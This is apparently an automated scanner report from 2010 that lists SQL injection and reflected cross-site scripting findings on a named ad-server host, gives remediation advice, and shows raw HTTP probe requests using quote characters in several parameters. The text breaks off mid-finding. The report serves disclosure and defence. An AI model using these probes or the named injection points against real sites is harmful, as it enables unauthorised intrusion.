core.insightexpressai.com, CWE-79, CWE-89, CAPEC-66, CAPEC-86

Loading


XSS, Cross Site Scripting, SQLi in core.insightexpressai.com | Vulnerability Crawler

Report generated by XSS.CX at Sun Dec 12 08:04:02 CST 2010.


SQL Injection, XSS in core.insightexpress.com

1. SQL injection

1.1. http://core.insightexpressai.com/adServer/GetInvite2.aspx [creativeID parameter]

1.2. http://core.insightexpressai.com/adServer/GetInvite2.aspx [esi parameter]

1.3. http://core.insightexpressai.com/adServer/GetInvite2.aspx [name of an arbitrarily supplied request parameter]

1.4. http://core.insightexpressai.com/adServer/GetInvite2.aspx [referer parameter]

1.5. http://core.insightexpressai.com/adServer/GetInvite2.aspx [siteID parameter]

2. Cross-site scripting (reflected)

2.1. http://core.insightexpressai.com/adServer/GetInvite2.aspx [creativeID parameter]

2.2. http://core.insightexpressai.com/adServer/GetInvite2.aspx [esi parameter]

2.3. http://core.insightexpressai.com/adServer/GetInvite2.aspx [name of an arbitrarily supplied request parameter]

2.4. http://core.insightexpressai.com/adServer/GetInvite2.aspx [referer parameter]

2.5. http://core.insightexpressai.com/adServer/GetInvite2.aspx [siteID parameter]

2.6. http://core.insightexpressai.com/adServer/adServerESI.aspx [name of an arbitrarily supplied request parameter]

2.7. http://core.insightexpressai.com/adserver/invites/Reconcile.aspx [bannerID parameter]

2.8. http://core.insightexpressai.com/adserver/invites/Reconcile.aspx [campaignID parameter]

2.9. http://core.insightexpressai.com/adServer/adServerESI.aspx [Referer HTTP header]



1. SQL injection  next
There are 5 instances of this issue:

Issue background

SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.

Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.

Issue remediation

The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.

You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:



1.1. http://core.insightexpressai.com/adServer/GetInvite2.aspx [creativeID parameter]  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://core.insightexpressai.com
Path:   /adServer/GetInvite2.aspx

Issue detail

The creativeID parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the creativeID parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /adServer/GetInvite2.aspx?esi=true&bannerID=161857&referer=www.darkreading.com&siteID=197028858&creativeID=142745208' HTTP/1.1
Host: core.insightexpressai.com
Proxy-Connection: keep-alive
Referer: http://www.darkreading.com/blog/archives/evil-bytes/index.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: DW=9bba28d1288937145; IXAIFirstHit2316=11%2f5%2f2010+1%3a28%3a13+AM; IXAIBanners2316=172110,172110; IXAIBannerCounter172110=2; IXAILastHit2316=11%2f7%2f2010+12%3a13%3a36+AM; IXAICampaignCounter2316=2; IXAIBannerCounter170677=1; IXAIFirstHit2248=11%2f11%2f2010+6%3a45%3a17+PM; IXAIBanners2251=170722; IXAIBannerCounter170722=1; IXAIFirstHit2251=11%2f16%2f2010+3%3a23%3a43+PM; IXAILastHit2251=11%2f16%2f2010+3%3a23%3a43+PM; IXAICampaignCounter2251=1; IXAIFirstHit2211=11%2f16%2f2010+6%3a40%3a19+PM; IXAIBannerCounter169909=7; IXAIBanners2310=172498; IXAIBannerCounter172498=1; IXAIFirstHit2310=11%2f21%2f2010+6%3a20%3a21+PM; IXAILastHit2310=11%2f21%2f2010+6%3a20%3a21+PM; IXAICampaignCounter2310=1; IXAIBanners2211=169909,169909,169909,169909,169909,169909,169909,170103; IXAIBannerCounter170103=1; IXAILastHit2211=11%2f26%2f2010+3%3a00%3a00+PM; IXAICampaignCounter2211=8; IXAIBanners2044=166228; IXAIBannerCounter166228=1; IXAIFirstHit2044=11%2f26%2f2010+3%3a38%3a49+PM; IXAILastHit2044=11%2f26%2f2010+3%3a38%3a49+PM; IXAICampaignCounter2044=1; IXAIBannerCounter173394=1; IXAIFirstHit2357=12%2f1%2f2010+11%3a03%3a32+AM; IXAIBanners2357=173394,173401; IXAIBannerCounter173401=1; IXAILastHit2357=12%2f1%2f2010+10%3a53%3a57+AM; IXAICampaignCounter2357=2; lastInvite=12%2f1%2f2010+11%3a09%3a31+AM; IXAIinvited2357=true; IXAICampaignCounter2203=0; IXAIControlCounter2203=0; IXAIBannerCounter170478=0; IXAIBanners2203=170478,170478,170478; IXAIBanners2248=170677,170676; IXAIBannerCounter170676=1; IXAILastHit2248=12%2f11%2f2010+10%3a35%3a24+AM; IXAICampaignCounter2248=2; IXAICampaignCounter2018=0; IXAIControlCounter2018=0; IXAIBannerCounter169712=0; IXAIBanners2018=169712; IXAIBanners2284=171378; IXAIBannerCounter171378=1; IXAIFirstHit2284=12%2f11%2f2010+10%3a33%3a03+AM; IXAILastHit2284=12%2f11%2f2010+10%3a33%3a03+AM; IXAICampaignCounter2284=1; IXAIBannerCounter161858=1; IXAIFirstHit1946=12%2f11%2f2010+9%3a28%3a02+PM; IXAIBanners1946=161858,161857; IXAIBannerCounter161857=1; IXAILastHit1946=12%2f11%2f2010+9%3a53%3a03+PM; IXAICampaignCounter1946=2

Response 1

HTTP/1.1 500 Internal Server Error
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
P3P: CP="OTI DSP COR CUR ADMi DEVi TAI PSA PSD IVD CONi TELi OUR BUS STA"
Content-Length: 3034
Vary: Accept-Encoding
Date: Sun, 12 Dec 2010 03:10:37 GMT
Connection: close
Cache-Control: no-store

<html>
<head>
<title>Runtime Error</title>
<style>
body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;}
p {font-family:"Verdana";fon
...[SNIP]...

Request 2

GET /adServer/GetInvite2.aspx?esi=true&bannerID=161857&referer=www.darkreading.com&siteID=197028858&creativeID=142745208'' HTTP/1.1
Host: core.insightexpressai.com
Proxy-Connection: keep-alive
Referer: http://www.darkreading.com/blog/archives/evil-bytes/index.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: DW=9bba28d1288937145; IXAIFirstHit2316=11%2f5%2f2010+1%3a28%3a13+AM; IXAIBanners2316=172110,172110; IXAIBannerCounter172110=2; IXAILastHit2316=11%2f7%2f2010+12%3a13%3a36+AM; IXAICampaignCounter2316=2; IXAIBannerCounter170677=1; IXAIFirstHit2248=11%2f11%2f2010+6%3a45%3a17+PM; IXAIBanners2251=170722; IXAIBannerCounter170722=1; IXAIFirstHit2251=11%2f16%2f2010+3%3a23%3a43+PM; IXAILastHit2251=11%2f16%2f2010+3%3a23%3a43+PM; IXAICampaignCounter2251=1; IXAIFirstHit2211=11%2f16%2f2010+6%3a40%3a19+PM; IXAIBannerCounter169909=7; IXAIBanners2310=172498; IXAIBannerCounter172498=1; IXAIFirstHit2310=11%2f21%2f2010+6%3a20%3a21+PM; IXAILastHit2310=11%2f21%2f2010+6%3a20%3a21+PM; IXAICampaignCounter2310=1; IXAIBanners2211=169909,169909,169909,169909,169909,169909,169909,170103; IXAIBannerCounter170103=1; IXAILastHit2211=11%2f26%2f2010+3%3a00%3a00+PM; IXAICampaignCounter2211=8; IXAIBanners2044=166228; IXAIBannerCounter166228=1; IXAIFirstHit2044=11%2f26%2f2010+3%3a38%3a49+PM; IXAILastHit2044=11%2f26%2f2010+3%3a38%3a49+PM; IXAICampaignCounter2044=1; IXAIBannerCounter173394=1; IXAIFirstHit2357=12%2f1%2f2010+11%3a03%3a32+AM; IXAIBanners2357=173394,173401; IXAIBannerCounter173401=1; IXAILastHit2357=12%2f1%2f2010+10%3a53%3a57+AM; IXAICampaignCounter2357=2; lastInvite=12%2f1%2f2010+11%3a09%3a31+AM; IXAIinvited2357=true; IXAICampaignCounter2203=0; IXAIControlCounter2203=0; IXAIBannerCounter170478=0; IXAIBanners2203=170478,170478,170478; IXAIBanners2248=170677,170676; IXAIBannerCounter170676=1; IXAILastHit2248=12%2f11%2f2010+10%3a35%3a24+AM; IXAICampaignCounter2248=2; IXAICampaignCounter2018=0; IXAIControlCounter2018=0; IXAIBannerCounter169712=0; IXAIBanners2018=169712; IXAIBanners2284=171378; IXAIBannerCounter171378=1; IXAIFirstHit2284=12%2f11%2f2010+10%3a33%3a03+AM; IXAILastHit2284=12%2f11%2f2010+10%3a33%3a03+AM; IXAICampaignCounter2284=1; IXAIBannerCounter161858=1; IXAIFirstHit1946=12%2f11%2f2010+9%3a28%3a02+PM; IXAIBanners1946=161858,161857; IXAIBannerCounter161857=1; IXAILastHit1946=12%2f11%2f2010+9%3a53%3a03+PM; IXAICampaignCounter1946=2

Response 2


HTTP/1.1 200 OK
Content-Type: text/javascript; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
P3P: CP="OTI DSP COR CUR ADMi DEVi TAI PSA PSD IVD CONi TELi OUR BUS STA"
Date: Sun, 12 Dec 2010 03:10:37 GMT
Connection: close
Cache-Control: no-store
Content-Length: 19663

var InsightExpress={};InsightExpress.LogText='';InsightExpress.Log=function(s,s2){if(!InsightExpress.LogText)InsightExpress.LogText='';InsightExpress.LogText+=s+(s2?' = '+s2:'')+'\n'};InsightExpress.D
...[SNIP]...

1.2. http://core.insightexpressai.com/adServer/GetInvite2.aspx [esi parameter]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://core.insightexpressai.com
Path:   /adServer/GetInvite2.aspx

Issue detail

The esi parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the esi parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /adServer/GetInvite2.aspx?esi=true'&bannerID=161857&referer=www.darkreading.com&siteID=197028858&creativeID=142745208 HTTP/1.1
Host: core.insightexpressai.com
Proxy-Connection: keep-alive
Referer: http://www.darkreading.com/blog/archives/evil-bytes/index.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: DW=9bba28d1288937145; IXAIFirstHit2316=11%2f5%2f2010+1%3a28%3a13+AM; IXAIBanners2316=172110,172110; IXAIBannerCounter172110=2; IXAILastHit2316=11%2f7%2f2010+12%3a13%3a36+AM; IXAICampaignCounter2316=2; IXAIBannerCounter170677=1; IXAIFirstHit2248=11%2f11%2f2010+6%3a45%3a17+PM; IXAIBanners2251=170722; IXAIBannerCounter170722=1; IXAIFirstHit2251=11%2f16%2f2010+3%3a23%3a43+PM; IXAILastHit2251=11%2f16%2f2010+3%3a23%3a43+PM; IXAICampaignCounter2251=1; IXAIFirstHit2211=11%2f16%2f2010+6%3a40%3a19+PM; IXAIBannerCounter169909=7; IXAIBanners2310=172498; IXAIBannerCounter172498=1; IXAIFirstHit2310=11%2f21%2f2010+6%3a20%3a21+PM; IXAILastHit2310=11%2f21%2f2010+6%3a20%3a21+PM; IXAICampaignCounter2310=1; IXAIBanners2211=169909,169909,169909,169909,169909,169909,169909,170103; IXAIBannerCounter170103=1; IXAILastHit2211=11%2f26%2f2010+3%3a00%3a00+PM; IXAICampaignCounter2211=8; IXAIBanners2044=166228; IXAIBannerCounter166228=1; IXAIFirstHit2044=11%2f26%2f2010+3%3a38%3a49+PM; IXAILastHit2044=11%2f26%2f2010+3%3a38%3a49+PM; IXAICampaignCounter2044=1; IXAIBannerCounter173394=1; IXAIFirstHit2357=12%2f1%2f2010+11%3a03%3a32+AM; IXAIBanners2357=173394,173401; IXAIBannerCounter173401=1; IXAILastHit2357=12%2f1%2f2010+10%3a53%3a57+AM; IXAICampaignCounter2357=2; lastInvite=12%2f1%2f2010+11%3a09%3a31+AM; IXAIinvited2357=true; IXAICampaignCounter2203=0; IXAIControlCounter2203=0; IXAIBannerCounter170478=0; IXAIBanners2203=170478,170478,170478; IXAIBanners2248=170677,170676; IXAIBannerCounter170676=1; IXAILastHit2248=12%2f11%2f2010+10%3a35%3a24+AM; IXAICampaignCounter2248=2; IXAICampaignCounter2018=0; IXAIControlCounter2018=0; IXAIBannerCounter169712=0; IXAIBanners2018=169712; IXAIBanners2284=171378; IXAIBannerCounter171378=1; IXAIFirstHit2284=12%2f11%2f2010+10%3a33%3a03+AM; IXAILastHit2284=12%2f11%2f2010+10%3a33%3a03+AM; IXAICampaignCounter2284=1; IXAIBannerCounter161858=1; IXAIFirstHit1946=12%2f11%2f2010+9%3a28%3a02+PM; IXAIBanners1946=161858,161857; IXAIBannerCounter161857=1; IXAILastHit1946=12%2f11%2f2010+9%3a53%3a03+PM; IXAICampaignCounter1946=2

Response 1

HTTP/1.1 500 Internal Server Error
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
P3P: CP="OTI DSP COR CUR ADMi DEVi TAI PSA PSD IVD CONi TELi OUR BUS STA"
Content-Length: 3034
Vary: Accept-Encoding
Date: Sun, 12 Dec 2010 03:09:58 GMT
Connection: close
Cache-Control: no-store

<html>
<head>
<title>Runtime Error</title>
<style>
body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;}
p {font-family:"Verdana";fon
...[SNIP]...

Request 2

GET /adServer/GetInvite2.aspx?esi=true''&bannerID=161857&referer=www.darkreading.com&siteID=197028858&creativeID=142745208 HTTP/1.1
Host: core.insightexpressai.com
Proxy-Connection: keep-alive
Referer: http://www.darkreading.com/blog/archives/evil-bytes/index.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: DW=9bba28d1288937145; IXAIFirstHit2316=11%2f5%2f2010+1%3a28%3a13+AM; IXAIBanners2316=172110,172110; IXAIBannerCounter172110=2; IXAILastHit2316=11%2f7%2f2010+12%3a13%3a36+AM; IXAICampaignCounter2316=2; IXAIBannerCounter170677=1; IXAIFirstHit2248=11%2f11%2f2010+6%3a45%3a17+PM; IXAIBanners2251=170722; IXAIBannerCounter170722=1; IXAIFirstHit2251=11%2f16%2f2010+3%3a23%3a43+PM; IXAILastHit2251=11%2f16%2f2010+3%3a23%3a43+PM; IXAICampaignCounter2251=1; IXAIFirstHit2211=11%2f16%2f2010+6%3a40%3a19+PM; IXAIBannerCounter169909=7; IXAIBanners2310=172498; IXAIBannerCounter172498=1; IXAIFirstHit2310=11%2f21%2f2010+6%3a20%3a21+PM; IXAILastHit2310=11%2f21%2f2010+6%3a20%3a21+PM; IXAICampaignCounter2310=1; IXAIBanners2211=169909,169909,169909,169909,169909,169909,169909,170103; IXAIBannerCounter170103=1; IXAILastHit2211=11%2f26%2f2010+3%3a00%3a00+PM; IXAICampaignCounter2211=8; IXAIBanners2044=166228; IXAIBannerCounter166228=1; IXAIFirstHit2044=11%2f26%2f2010+3%3a38%3a49+PM; IXAILastHit2044=11%2f26%2f2010+3%3a38%3a49+PM; IXAICampaignCounter2044=1; IXAIBannerCounter173394=1; IXAIFirstHit2357=12%2f1%2f2010+11%3a03%3a32+AM; IXAIBanners2357=173394,173401; IXAIBannerCounter173401=1; IXAILastHit2357=12%2f1%2f2010+10%3a53%3a57+AM; IXAICampaignCounter2357=2; lastInvite=12%2f1%2f2010+11%3a09%3a31+AM; IXAIinvited2357=true; IXAICampaignCounter2203=0; IXAIControlCounter2203=0; IXAIBannerCounter170478=0; IXAIBanners2203=170478,170478,170478; IXAIBanners2248=170677,170676; IXAIBannerCounter170676=1; IXAILastHit2248=12%2f11%2f2010+10%3a35%3a24+AM; IXAICampaignCounter2248=2; IXAICampaignCounter2018=0; IXAIControlCounter2018=0; IXAIBannerCounter169712=0; IXAIBanners2018=169712; IXAIBanners2284=171378; IXAIBannerCounter171378=1; IXAIFirstHit2284=12%2f11%2f2010+10%3a33%3a03+AM; IXAILastHit2284=12%2f11%2f2010+10%3a33%3a03+AM; IXAICampaignCounter2284=1; IXAIBannerCounter161858=1; IXAIFirstHit1946=12%2f11%2f2010+9%3a28%3a02+PM; IXAIBanners1946=161858,161857; IXAIBannerCounter161857=1; IXAILastHit1946=12%2f11%2f2010+9%3a53%3a03+PM; IXAICampaignCounter1946=2

Response 2

HTTP/1.1 200 OK
Content-Type: text/javascript; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
P3P: CP="OTI DSP COR CUR ADMi DEVi TAI PSA PSD IVD CONi TELi OUR BUS STA"
Date: Sun, 12 Dec 2010 03:09:58 GMT
Connection: close
Cache-Control: no-store
Content-Length: 19663

var InsightExpress={};InsightExpress.LogText='';InsightExpress.Log=function(s,s2){if(!InsightExpress.LogText)InsightExpress.LogText='';InsightExpress.LogText+=s+(s2?' = '+s2:'')+'\n'};InsightExpress.D
...[SNIP]...

1.3. http://core.insightexpressai.com/adServer/GetInvite2.aspx [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://core.insightexpressai.com
Path:   /adServer/GetInvite2.aspx

Issue detail

The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /adServer/GetInvite2.aspx?esi=true&bannerID=161857&referer=www.darkreading.com&siteID=197028858&creativeID=142745208&1'=1 HTTP/1.1
Host: core.insightexpressai.com
Proxy-Connection: keep-alive
Referer: http://www.darkreading.com/blog/archives/evil-bytes/index.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: DW=9bba28d1288937145; IXAIFirstHit2316=11%2f5%2f2010+1%3a28%3a13+AM; IXAIBanners2316=172110,172110; IXAIBannerCounter172110=2; IXAILastHit2316=11%2f7%2f2010+12%3a13%3a36+AM; IXAICampaignCounter2316=2; IXAIBannerCounter170677=1; IXAIFirstHit2248=11%2f11%2f2010+6%3a45%3a17+PM; IXAIBanners2251=170722; IXAIBannerCounter170722=1; IXAIFirstHit2251=11%2f16%2f2010+3%3a23%3a43+PM; IXAILastHit2251=11%2f16%2f2010+3%3a23%3a43+PM; IXAICampaignCounter2251=1; IXAIFirstHit2211=11%2f16%2f2010+6%3a40%3a19+PM; IXAIBannerCounter169909=7; IXAIBanners2310=172498; IXAIBannerCounter172498=1; IXAIFirstHit2310=11%2f21%2f2010+6%3a20%3a21+PM; IXAILastHit2310=11%2f21%2f2010+6%3a20%3a21+PM; IXAICampaignCounter2310=1; IXAIBanners2211=169909,169909,169909,169909,169909,169909,169909,170103; IXAIBannerCounter170103=1; IXAILastHit2211=11%2f26%2f2010+3%3a00%3a00+PM; IXAICampaignCounter2211=8; IXAIBanners2044=166228; IXAIBannerCounter166228=1; IXAIFirstHit2044=11%2f26%2f2010+3%3a38%3a49+PM; IXAILastHit2044=11%2f26%2f2010+3%3a38%3a49+PM; IXAICampaignCounter2044=1; IXAIBannerCounter173394=1; IXAIFirstHit2357=12%2f1%2f2010+11%3a03%3a32+AM; IXAIBanners2357=173394,173401; IXAIBannerCounter173401=1; IXAILastHit2357=12%2f1%2f2010+10%3a53%3a57+AM; IXAICampaignCounter2357=2; lastInvite=12%2f1%2f2010+11%3a09%3a31+AM; IXAIinvited2357=true; IXAICampaignCounter2203=0; IXAIControlCounter2203=0; IXAIBannerCounter170478=0; IXAIBanners2203=170478,170478,170478; IXAIBanners2248=170677,170676; IXAIBannerCounter170676=1; IXAILastHit2248=12%2f11%2f2010+10%3a35%3a24+AM; IXAICampaignCounter2248=2; IXAICampaignCounter2018=0; IXAIControlCounter2018=0; IXAIBannerCounter169712=0; IXAIBanners2018=169712; IXAIBanners2284=171378; IXAIBannerCounter171378=1; IXAIFirstHit2284=12%2f11%2f2010+10%3a33%3a03+AM; IXAILastHit2284=12%2f11%2f2010+10%3a33%3a03+AM; IXAICampaignCounter2284=1; IXAIBannerCounter161858=1; IXAIFirstHit1946=12%2f11%2f2010+9%3a28%3a02+PM; IXAIBanners1946=161858,161857; IXAIBannerCounter161857=1; IXAILastHit1946=12%2f11%2f2010+9%3a53%3a03+PM; IXAICampaignCounter1946=2

Response 1

HTTP/1.1 500 Internal Server Error
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
P3P: CP="OTI DSP COR CUR ADMi DEVi TAI PSA PSD IVD CONi TELi OUR BUS STA"
Content-Length: 3034
Vary: Accept-Encoding
Date: Sun, 12 Dec 2010 03:13:31 GMT
Connection: close
Cache-Control: no-store

<html>
<head>
<title>Runtime Error</title>
<style>
body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;}
p {font-family:"Verdana";fon
...[SNIP]...

Request 2

GET /adServer/GetInvite2.aspx?esi=true&bannerID=161857&referer=www.darkreading.com&siteID=197028858&creativeID=142745208&1''=1 HTTP/1.1
Host: core.insightexpressai.com
Proxy-Connection: keep-alive
Referer: http://www.darkreading.com/blog/archives/evil-bytes/index.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: DW=9bba28d1288937145; IXAIFirstHit2316=11%2f5%2f2010+1%3a28%3a13+AM; IXAIBanners2316=172110,172110; IXAIBannerCounter172110=2; IXAILastHit2316=11%2f7%2f2010+12%3a13%3a36+AM; IXAICampaignCounter2316=2; IXAIBannerCounter170677=1; IXAIFirstHit2248=11%2f11%2f2010+6%3a45%3a17+PM; IXAIBanners2251=170722; IXAIBannerCounter170722=1; IXAIFirstHit2251=11%2f16%2f2010+3%3a23%3a43+PM; IXAILastHit2251=11%2f16%2f2010+3%3a23%3a43+PM; IXAICampaignCounter2251=1; IXAIFirstHit2211=11%2f16%2f2010+6%3a40%3a19+PM; IXAIBannerCounter169909=7; IXAIBanners2310=172498; IXAIBannerCounter172498=1; IXAIFirstHit2310=11%2f21%2f2010+6%3a20%3a21+PM; IXAILastHit2310=11%2f21%2f2010+6%3a20%3a21+PM; IXAICampaignCounter2310=1; IXAIBanners2211=169909,169909,169909,169909,169909,169909,169909,170103; IXAIBannerCounter170103=1; IXAILastHit2211=11%2f26%2f2010+3%3a00%3a00+PM; IXAICampaignCounter2211=8; IXAIBanners2044=166228; IXAIBannerCounter166228=1; IXAIFirstHit2044=11%2f26%2f2010+3%3a38%3a49+PM; IXAILastHit2044=11%2f26%2f2010+3%3a38%3a49+PM; IXAICampaignCounter2044=1; IXAIBannerCounter173394=1; IXAIFirstHit2357=12%2f1%2f2010+11%3a03%3a32+AM; IXAIBanners2357=173394,173401; IXAIBannerCounter173401=1; IXAILastHit2357=12%2f1%2f2010+10%3a53%3a57+AM; IXAICampaignCounter2357=2; lastInvite=12%2f1%2f2010+11%3a09%3a31+AM; IXAIinvited2357=true; IXAICampaignCounter2203=0; IXAIControlCounter2203=0; IXAIBannerCounter170478=0; IXAIBanners2203=170478,170478,170478; IXAIBanners2248=170677,170676; IXAIBannerCounter170676=1; IXAILastHit2248=12%2f11%2f2010+10%3a35%3a24+AM; IXAICampaignCounter2248=2; IXAICampaignCounter2018=0; IXAIControlCounter2018=0; IXAIBannerCounter169712=0; IXAIBanners2018=169712; IXAIBanners2284=171378; IXAIBannerCounter171378=1; IXAIFirstHit2284=12%2f11%2f2010+10%3a33%3a03+AM; IXAILastHit2284=12%2f11%2f2010+10%3a33%3a03+AM; IXAICampaignCounter2284=1; IXAIBannerCounter161858=1; IXAIFirstHit1946=12%2f11%2f2010+9%3a28%3a02+PM; IXAIBanners1946=161858,161857; IXAIBannerCounter161857=1; IXAILastHit1946=12%2f11%2f2010+9%3a53%3a03+PM; IXAICampaignCounter1946=2

Response 2

HTTP/1.1 200 OK
Content-Type: text/javascript; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
P3P: CP="OTI DSP COR CUR ADMi DEVi TAI PSA PSD IVD CONi TELi OUR BUS STA"
Date: Sun, 12 Dec 2010 03:13:31 GMT
Connection: close
Cache-Control: no-store
Content-Length: 19679

var InsightExpress={};InsightExpress.LogText='';InsightExpress.Log=function(s,s2){if(!InsightExpress.LogText)InsightExpress.LogText='';InsightExpress.LogText+=s+(s2?' = '+s2:'')+'\n'};InsightExpress.D
...[SNIP]...

1.4. http://core.insightexpressai.com/adServer/GetInvite2.aspx [referer parameter]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://core.insightexpressai.com
Path:   /adServer/GetInvite2.aspx

Issue detail

The referer parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the referer parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /adServer/GetInvite2.aspx?esi=true&bannerID=161857&referer=www.darkreading.com'&siteID=197028858&creativeID=142745208 HTTP/1.1
Host: core.insightexpressai.com
Proxy-Connection: keep-alive
Referer: http://www.darkreading.com/blog/archives/evil-bytes/index.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: DW=9bba28d1288937145; IXAIFirstHit2316=11%2f5%2f2010+1%3a28%3a13+AM; IXAIBanners2316=172110,172110; IXAIBannerCounter172110=2; IXAILastHit2316=11%2f7%2f2010+12%3a13%3a36+AM; IXAICampaignCounter2316=2; IXAIBannerCounter170677=1; IXAIFirstHit2248=11%2f11%2f2010+6%3a45%3a17+PM; IXAIBanners2251=170722; IXAIBannerCounter170722=1; IXAIFirstHit2251=11%2f16%2f2010+3%3a23%3a43+PM; IXAILastHit2251=11%2f16%2f2010+3%3a23%3a43+PM; IXAICampaignCounter2251=1; IXAIFirstHit2211=11%2f16%2f2010+6%3a40%3a19+PM; IXAIBannerCounter169909=7; IXAIBanners2310=172498; IXAIBannerCounter172498=1; IXAIFirstHit2310=11%2f21%2f2010+6%3a20%3a21+PM; IXAILastHit2310=11%2f21%2f2010+6%3a20%3a21+PM; IXAICampaignCounter2310=1; IXAIBanners2211=169909,169909,169909,169909,169909,169909,169909,170103; IXAIBannerCounter170103=1; IXAILastHit2211=11%2f26%2f2010+3%3a00%3a00+PM; IXAICampaignCounter2211=8; IXAIBanners2044=166228; IXAIBannerCounter166228=1; IXAIFirstHit2044=11%2f26%2f2010+3%3a38%3a49+PM; IXAILastHit2044=11%2f26%2f2010+3%3a38%3a49+PM; IXAICampaignCounter2044=1; IXAIBannerCounter173394=1; IXAIFirstHit2357=12%2f1%2f2010+11%3a03%3a32+AM; IXAIBanners2357=173394,173401; IXAIBannerCounter173401=1; IXAILastHit2357=12%2f1%2f2010+10%3a53%3a57+AM; IXAICampaignCounter2357=2; lastInvite=12%2f1%2f2010+11%3a09%3a31+AM; IXAIinvited2357=true; IXAICampaignCounter2203=0; IXAIControlCounter2203=0; IXAIBannerCounter170478=0; IXAIBanners2203=170478,170478,170478; IXAIBanners2248=170677,170676; IXAIBannerCounter170676=1; IXAILastHit2248=12%2f11%2f2010+10%3a35%3a24+AM; IXAICampaignCounter2248=2; IXAICampaignCounter2018=0; IXAIControlCounter2018=0; IXAIBannerCounter169712=0; IXAIBanners2018=169712; IXAIBanners2284=171378; IXAIBannerCounter171378=1; IXAIFirstHit2284=12%2f11%2f2010+10%3a33%3a03+AM; IXAILastHit2284=12%2f11%2f2010+10%3a33%3a03+AM; IXAICampaignCounter2284=1; IXAIBannerCounter161858=1; IXAIFirstHit1946=12%2f11%2f2010+9%3a28%3a02+PM; IXAIBanners1946=161858,161857; IXAIBannerCounter161857=1; IXAILastHit1946=12%2f11%2f2010+9%3a53%3a03+PM; IXAICampaignCounter1946=2

Response 1

HTTP/1.1 500 Internal Server Error
Content-Type: text/html; charset=utf-8
